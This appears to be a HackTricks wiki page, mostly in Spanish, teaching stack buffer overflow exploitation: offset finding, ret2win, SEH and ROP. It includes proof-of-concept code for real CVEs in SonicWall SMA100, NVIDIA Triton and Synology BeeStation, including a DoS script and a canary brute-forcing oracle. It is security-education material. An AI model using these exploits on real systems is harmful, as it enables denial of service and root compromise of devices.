Stack Overflow

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

What is a Stack Overflow

A stack overflow es una vulnerabilidad que ocurre cuando un programa escribe más datos en la pila de los que tiene asignados. Este exceso de datos sobrescribirá el espacio de memoria adyacente, provocando la corrupción de datos válidos, la alteración del flujo de ejecución y, potencialmente, la ejecución de código malicioso. Este problema suele surgir por el uso de funciones inseguras que no realizan comprobación de límites sobre la entrada.

El problema principal de esta sobrescritura es que el saved instruction pointer (EIP/RIP) y el saved base pointer (EBP/RBP) para volver a la función anterior están almacenados en la pila. Por lo tanto, un atacante podrá sobrescribirlos y controlar el flujo de ejecución del programa.

La vulnerabilidad normalmente aparece porque una función copia dentro de la pila más bytes de los que se le habían asignado, pudiendo así sobrescribir otras partes de la pila.

Algunas funciones comunes vulnerables a esto son: strcpy, strcat, sprintf, gets… Además, funciones como fgets, read y memcpy que toman un argumento de longitud podrían usarse de forma vulnerable si la longitud especificada es mayor que la asignada.

For example, the following functions could be vulnerable:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Encontrando offsets de Stack Overflows

La forma más común de encontrar stack overflows es dar una entrada muy grande de As (p. ej. python3 -c 'print("A"*1000)') y esperar un Segmentation Fault que indique que se intentó acceder a la dirección 0x41414141.

Además, una vez que hayas comprobado que existe una vulnerabilidad de Stack Overflow necesitarás encontrar el offset hasta que sea posible sobrescribir la return address, para esto se suele usar una De Bruijn sequence. La cual, para un alfabeto dado de tamaño k y subsecuencias de longitud n, es una secuencia cíclica en la que toda subsecuencia posible de longitud n aparece exactamente una vez como subsecuencia contigua.

De este modo, en lugar de tener que averiguar a mano qué offset se necesita para controlar el EIP, es posible usar como padding una de estas secuencias y luego encontrar el offset de los bytes que terminaron sobrescribiéndola.

Es posible usar pwntools para esto:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

o GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

Durante un overflow (suponiendo que el tamaño del overflow sea lo bastante grande) podrás sobrescribir valores de variables locales dentro de la stack hasta alcanzar el EBP/RBP y EIP/RIP guardados (o incluso más).
La forma más común de abusar de este tipo de vulnerabilidad es modificando la dirección de retorno para que cuando la función termine el flujo de control se redirija a donde el usuario haya especificado en ese puntero.

Sin embargo, en otros escenarios quizá solo sobrescribir algunos valores de variables en la stack sea suficiente para la explotación (como en desafíos CTF sencillos).

Ret2win

En este tipo de desafíos CTF, hay una function inside el binario que never is called y que you need to call in order to win. Para estos retos solo necesitas encontrar el offset to overwrite the return address y find the address of the function a llamar (normalmente ASLR estará deshabilitado) de modo que cuando la función vulnerable retorne, la función oculta sea llamada:

Ret2win

Stack Shellcode

En este escenario el atacante puede colocar un shellcode en la stack y abusar del EIP/RIP controlado para saltar al shellcode y ejecutar código arbitrario:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

En Windows de 32 bits, un overflow puede sobrescribir la cadena del Structured Exception Handler (SEH) en lugar de la dirección de retorno guardada. La explotación típicamente reemplaza el puntero SEH con un gadget POP POP RET y usa el campo nSEH de 4 bytes para un short jmp que pivotee de vuelta al gran buffer donde reside el shellcode. Un patrón común es un short jmp en nSEH que aterriza sobre un near jmp de 5 bytes colocado justo antes de nSEH para saltar cientos de bytes de vuelta al inicio del payload.

Windows Seh Overflow

ROP & Ret2… techniques

Esta técnica es el marco fundamental para evadir la principal protección del método anterior: No executable stack (NX). Además permite realizar varias otras técnicas (ret2lib, ret2syscall…) que acabarán ejecutando comandos arbitrarios abusando de instrucciones existentes en el binario:

ROP & JOP

Heap Overflows

Un overflow no siempre ocurrirá en la stack; también podría estar en el heap, por ejemplo:

Heap Overflow

Types of protections

Existen varias protecciones que intentan prevenir la explotación de vulnerabilidades; revísalas en:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Una buena demostración de por qué sscanf nunca debe utilizarse para analizar entrada no confiable apareció en 2025 en el appliance SSL-VPN SMA100 de SonicWall. La rutina vulnerable dentro de /usr/src/EasyAccess/bin/httpd intenta extraer la versión y el endpoint de cualquier URI que comienza con /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La primera conversión (%2s) almacena de forma segura dos bytes en version (p. ej. "v1").
  2. La segunda conversión (%s) no tiene especificador de longitud, por lo tanto sscanf seguirá copiando hasta el primer byte NUL.
  3. Debido a que endpoint está ubicado en la stack y tiene 0x800 bytes de longitud, proporcionar una ruta más larga que 0x800 bytes corrompe todo lo que esté después del buffer ‑ incluyendo el stack canary y la saved return address.

Una proof-of-concept de una sola línea es suficiente para provocar el crash antes de la autenticación:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Aunque los stack canaries abortan el proceso, un atacante aún obtiene un primitivo de Denial-of-Service (y, con leaks de información adicionales, posiblemente code-execution).

Ejemplo en el mundo real: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

El Triton Inference Server de NVIDIA (≤ v25.06) contenía múltiples stack-based overflows alcanzables a través de su HTTP API. El patrón vulnerable aparecía repetidamente en http_server.cc y sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) devuelve el número de segmentos internos de buffer que componen el cuerpo de la solicitud HTTP actual.
  2. Cada segmento provoca la asignación en la stack vía alloca() de un evbuffer_iovec de 16-bytesin ningún límite superior.
  3. Al abusar de HTTP chunked transfer-encoding, un cliente puede forzar que la solicitud se divida en cientos de miles de 6-byte chunks ("1\r\nA\r\n"). Esto hace que n crezca sin límite hasta que la stack se agote.

Prueba de concepto (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Una petición de ~3 MB es suficiente para sobrescribir la dirección de retorno guardada y **crash** el daemon en una build por defecto.

### Ejemplo del mundo real: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

La cadena Pwn2Own 2025 de Synacktiv abusó de un pre-auth overflow en `SYNO.BEE.AdminCenter.Auth` en el puerto 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes la entrada del atacante en un stack buffer de 4096 bytes pero establece incorrectamente `decoded_len = auth_info->len`. Debido a que el CGI worker hace fork por petición, cada proceso hijo hereda el stack canary del proceso padre, por lo que un primitive de overflow estable es suficiente tanto para corromper la stack como para leak todos los secretos requeridos.

#### JSON decodificado de Base64 como un overflow estructurado
El blob decodificado debe ser JSON válido e incluir las claves `"state"` y `"code"`; de lo contrario, el parser lanza antes de que el overflow sea útil. Synacktiv solucionó esto codificando en Base64 un payload que decodifica a JSON, seguido de un NUL byte, y luego el stream de overflow. `strlen(decoded)` se detiene en el NUL por lo que el parsing tiene éxito, pero `SLIBCBase64Decode` ya había sobrescrito la stack más allá del objeto JSON, cubriendo el canary, el RBP guardado y la dirección de retorno.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi hace fork por cada petición HTTP, por lo que todos los procesos hijo comparten el mismo canary, stack layout y PIE slide. El exploit trata el código de estado HTTP como un oracle: una respuesta 200 significa que el byte adivinado mantuvo la stack intacta, mientras que 502 (o una conexión caída) significa que el proceso se bloqueó. Brute-forcing cada byte en serie recupera el canary de 8 bytes, un saved stack pointer y una return address dentro de libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr simplemente llama a bf_next_byte ocho veces mientras añade el prefijo confirmado. Synacktiv paralelizó estos oráculos con ~16 hilos de trabajo, reduciendo el total leak time (canary + stack ptr + lib base) a menos de tres minutos.

De leaks a ROP & ejecución

Una vez conocida la base de la librería, gadgets comunes (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) construyen una primitiva arb_write que prepara /bin/bash, -c y el comando del atacante en la dirección del stack leaked. Finalmente, la cadena configura la convención de llamadas para SLIBCExecl (un wrapper de BeeStation alrededor de execl(2)), proporcionando un shell root sin necesitar un bug de info-leak separado.

References

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks